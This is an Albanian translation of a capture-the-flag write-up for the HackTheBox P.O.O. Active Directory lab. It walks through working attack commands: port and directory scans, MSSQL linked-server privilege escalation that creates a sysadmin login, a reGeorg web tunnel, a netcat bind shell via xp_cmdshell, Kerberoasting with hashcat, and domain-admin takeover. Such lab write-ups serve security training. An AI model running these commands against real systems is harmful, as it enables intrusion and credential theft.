
Në këtë artikull do të analizojmë kalimin e një mini-laboratori të tërë në platformën .
Siç thuhet në përshkrim, P.O.O. është e dizajnuar për të verifikuar aftësitë në të gjitha fazat e sulmeve në një mjedis të vogël Active Directory. Qëllimi është të kompromentohet një host i qasshëm, të rriten privilegjet dhe, në fund, të kompromentohet i gjithë domini, duke mbledhur njëkohësisht 5 flamuj.
Lidhja me laboratorin bëhet përmes VPN. Rekomandohet të mos lidheni nga kompjuteri juaj i punës ose nga hosti, ku keni të dhëna të rëndësishme, sepse po hyni në një rrjet privat me njerëz që dijnë diçka në fushën e sigurisë së informacionit 🙂
Informacion organizativ
Që të mund të mësoni për artikuj të rinj, softuer dhe informacion tjetër, kam krijuar dhe në fushën e SiIK. Gjithashtu, kërkesat tuaja personale, pyetje, propozime dhe rekomandime .
Të gjitha informacionet janë paraqitur ekskluzivisht për qëllime edukative. Autori i këtij dokumenti nuk merr asnjë përgjegjësi për ndonjë dëm të shkaktuar dikujt si pasojë e përdorimit të njohurive dhe metodave që rezultojnë nga studimi i këtij dokumenti.
Intro
Ky endgame përbëhet nga dy makina dhe përmban 5 flamuj.

Po ashtu jepet përshkrimi dhe adresa e hostit të qasshëm.

Le të fillojmë!
Recon flag
Kjo makinë ka adresën IP 10.13.38.11, të cilën e shtoj në /etc/hosts.
10.13.38.11 poo.htb
Së pari, bëjmë skanimin e porteve të hapura. Duke qënë se skanimi i të gjitha porteve me nmap zgjat shumë, unë së pari do ta bëj këtë me masscan. Ne skanojmë të gjitha portet TCP dhe UDP nga ndërfaqja tun0 me shpejtësinë 500 paketa në sekondë.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
Tani për të marrë informacione më të detajuara mbi shërbimet që punojnë në porte, do të lançojmë skanimin me opsionin -A.
nmap -A poo.htb -p80,1433 
Kështu, kemi shërbime IIS dhe MSSQL. Në të njëjtën kohë, zbulojmë emrin e vërtetë DNS të domes dhe kompjuterit. Në serverin e uebit na pret faqja kryesore IIS.

Le të shfletojmë direktorët. Për këtë, unë përdor gobuster. Në parametrat specifikoj numrin e thrashëve 128 (-t), URL-në (-u), fjalorin (-w) dhe zgjerimet që na interesojnë (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
Kështu kemi autentifikimin HTTP për direktorën /admin, si dhe një skedhë të aksesueshme të shërbimit të punës .DS_Store. .DS_Store është skedarë ku ruhen cilësimet e përdoruesit për dosjen, si lista e skedareve, vendi i ikonave, sfondi i zgjedhur. Një skedar i tillë mund të përfshihet në direktorën e serverit web nga zhvilluesit web. Kështu, marrim informacion për përmbajtjen e direktorëve. Për këtë mund të përdorim .
python3 dsstore_crawler.py -i http://poo.htb/ 
Ne marrim përmbajtjen e katalogut. Më interesante këtu është katalogu /dev, nga i cili mund të shohim burimet dhe skedarët e db në dy degë. Por mund të shohim gjashtë karakteret e para të emrave të skedave dhe direktorive, nëse shërbimi është i prekshëm nga IIS ShortName. Mund ta kontrollojmë këtë vulnerabilitet me ndihmën e .

Dhe gjejmë një skedar tekstual që fillon me "poo_co". Pa ditur se çfarë të bëj më pas, thjesht zgjodha të gjitha fjalët që fillojnë me "co" nga fjalori i direktorive.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtDhe do t'i shqyrtojmë me ndihmën e wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
Dhe gjejmë fjalën e duhur! Shikojmë këtë skedar, ruajmë kredencialet (sipas parametrave DBNAME, ato janë nga MSSQL).

Dorëzojmë flamurin dhe përparojmë me 20%.

Huh flamur
Lidhëm me MSSQL, unë përdor DBeaver.

Nuk gjejmë asgjë interesante në këtë bazë, le të krijojmë një redaktues SQL dhe të kontrollojmë se cilët përdorues kemi.
SELECT name FROM master..syslogins; 
Kemi dy përdorues. Le të kontrollojmë privilegjet tona.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
Pra, nuk kemi asnjë privilegje. Le të shohim serverët e lidhur, për këtë metodë kam shkruar në detaje. .
SELECT * FROM master..sysservers; 
Kështu gjejmë një SQL Server tjetër. Le të kontrollojmë ekzekutimin e komandave në këtë server me ndihmën e openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
Dhe madje mund të ndërtosh një pemë të kërkesave.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');E vërteta është se kur ekzekutojmë një kërkesë në serverin e lidhur, kërkesa ekzekutohet në kontekstin e një përdoruesi tjetër! Le të shohim në kontekstin e cilit përdorues jemi të punojmë në serverin e lidhur.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
Dhe tani le të shohim në cilin kontekst ekzekutohen kërkesat nga serveri i lidhur në serverin tonë!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
Kështu, ky është konteksti DBO, i cili duhet të ketë të gjitha privilegjet. Le të kontrollojmë privilegjet në rastin e kërkesës nga serveri i lidhur.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
Si mund të vini re, ne kemi të gjitha privilegjet! Le të krijojmë një administrator të ri. Por përmes openquery nuk na lejohet, kështu që ta bëjmë përmes EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";Dhe tani lidhemi me akreditet e përdoruesit të ri, duke vëzhguar bazën e të dhënave të re.

Marrim këtë flamur dhe shkojmë më tej.

BackTrack flamuri
Do të marrim shell me anë të MSSQL, unë përdor mssqlclient nga paketa impacket.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
Na nevojiten fjalëkalimet, dhe e para që kemi takuar është faqja. Pra, na nevojitet konfigurimi i serverit të internetit (nuk arrijmë të hedhim një shell të përshtatshëm, duket se funksionon firewall).

Por aksesimi është i ndaluar. Edhe pse mund të lexojmë një skedarin nga MSSQL, duhet vetëm të dimë se cilat gjuhë programimi janë të konfiguruara. Dhe në direktorinë MSSQL zbulojmë se ka Python.

Atëherë nuk kemi aspak probleme për të lexuar skedarin web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
Me akreditet e gjetura do të hyjmë në /admin dhe do ta marrim flamurin.


Foothold flamuri
Në të vërtetë, përdorimi i firewall ka disa inconvenienca, por duke shqyrtuar cilësimet e rrjetit, vërejmë se po përdoret gjithashtu një prokol IPv6!

Le të shtojmë këtë adresë në /etc/hosts.
dead:babe::1001 poo6.htb
Le të skanojmë përsëri hostin, por këtë herë përmes protokollit IPv6.

Dhe në IPv6 është e disponueshme shërbimi WinRM. Le të lidhemi me akreditet e gjetura.

Në desktop ka një flamur, do ta dorëzojmë atë.

P00ned flamuri
Pas një hetimi në host me anë të nuk gjejmë asgjë të veçantë. Atëherë u mor vendimi të kërkojmë përsëri akredite (për këtë çështje kam shkruar gjithashtu ). Por nuk mund të marr të gjitha SPN nga sistemi përmes WinRM.
setspn.exe -T intranet.poo -Q *//* 
Le të ekzekutojmë komandën përmes MSSQL.

Kështu, ne marrim SPN të përdoruesve p00_hr dhe p00_adm, çka do të thotë se ata janë të prekshëm nga një sulm si Kerberoasting. Në shkurtesë, ne mund të marrim hash-ët e fjalëkalimeve të tyre.
Së pari, duhet të sigurojmë një shell të qëndrueshëm në emër të përdoruesit MSSQL. Por, për shkak të kufizimeve në qasje, ne kemi lidhje me hostin vetëm përmes porteve 80 dhe 1433. Por ka një mundësi për tunelimin e trafikut përmes portit 80! Për këtë do të përdorim . Do ta ngarkojmë skedarin tunnel.aspx në direktorinë e shtëpisë së serverit të uebit — C:inetpubwwwroot.

Por, kur përpiqemi të vazhdojmë me të, marrim një gabim 404. Kjo do të thotë se skedarët *.aspx nuk janë të ekzekutueshëm. Për të bërë që skedarët me këtë zgjerim të ekzekutohen, do të instalojmë ASP.NET 4.5 siç vijon.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
![]()
Dhe tani, kur i qasemi tunnel.aspx, marrim një përgjigje se gjithçka është gati për punë.
![]()
Le të fillojmë pjesën klient të aplikacionit, e cila do të menaxhojë rikthimin e trafikut. Ne do të drejtojmë të gjithë trafikun nga porta 5432 në server.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
Dhe do të përdorim proxychains për të dërguar trafik nga çfarëdo aplikacioni përmes proxy-it tonë. Do ta shtojmë këtë proxy në skedarin e konfigurimit /etc/proxychains.conf.

Tani, do të ngarkojmë në server programin , me ndihmën e të cilit do të krijojmë një shell bind të qëndrueshëm, dhe skenarin , me ndihmën e të cilit do të realizojmë sulmin Kerberoasting.

Tani, përmes MSSQL fillojmë listenin.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
Dhe lidhemi përmes proxy-it tonë.
proxychains rlwrap nc poo.htb 4321 
Dhe le të marrim hash-ët.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
Më pas, duhet të provosh këta hash-e. Duke qenë se në fjalorin rockyou nuk kishte fjalëkalime, unë përdorova të GJITHA fjalorët passwords të ofruar në Seclists. Për provimin do të përdorim hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceDhe gjejmë të dy fjalëkalimet, të parin në fjalorin dutch_passwordlist.txt dhe të dytin në Keyboard-Combinations.txt.


Kështu, kemi tre përdorues, përshkojmë në kontrolluesin e domenit. Së pari, mësojmë adresën e tij.

Shkëlqyer, ne mësuam adresën IP të kontrolluesit të domenit. Le të zbulojmë të gjithë përdoruesit e domenit, si dhe kush është administrator. Do të ngarkojmë skenarin për të marrë informacionin PowerView.ps1. Pastaj do të lidhemi me evil-winrm, duke especificuar në parametrin -s direktorinë me skenarin. Dhe pastaj do të ngarkojmë thjesht skenarin PowerView.

Tani na janë të gjitha funksionet e tij në dispozicion. Përdoruesi p00_adm duket si një i privilegjuar, kështu që do të punojmë në kontekstin e tij. Do të krijojmë një objekt PSCredential për këtë përdorues.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassTani çdo komandë PowerShell, ku do të specifikojmë Creds, do të ekzekutohet në emër të p00_adm. Le të nxjerrim një listë të përdoruesve dhe atributin AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
Pra, përdoruesi ynë në të vërtetë është i privilegjuar. Le të shohim në cilat grupe bën pjesë.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
Më në fund, konfirmojmë se përdoruesi është administrator i domenit. Kjo i jep atij të drejtën e hyrjes të largët në kontrolluesin e domenit. Le të provojmë të hyjmë nëpërmjet WinRM, duke përdorur tunelin tonë. Më shqetësojnë gabimet që jep reGeorg kur përdorim evil-winrm.

Atëherë do të përdorim një tjetër, më të lehtë, për lidhjen në WinRM. Do të hapim dhe të ndryshojmë parametrat për lidhjen.

Po provojmë të lidhemi, dhe jemi në sistem.

Por nuk ka flamur. Atëherë shiko përdoruesin dhe kontrollo desktopet.

Te mr3ks gjejmë flamurin dhe laboratori është përfunduar 100%.

Kjo është gjithçka. Si një kthim për informacionin, ju lutemi komentoni - a mësuat diçka të re nga ky artikull dhe a ishte e dobishme për ju.
Mund të na bashkoheni në . Aty do të mund të gjeni materiale interesante, kurse të derdhura dhe gjithashtu softuer. Le të krijojmë një komunitet ku do të jenë njerëz që kuptojnë në shumë fusha të IT-së, kështu që gjithmonë mund të ndihmojmë njëri-tjetrin për çdo çështje të IT-së dhe sigurisë informacionit.
Burimi: habr.com
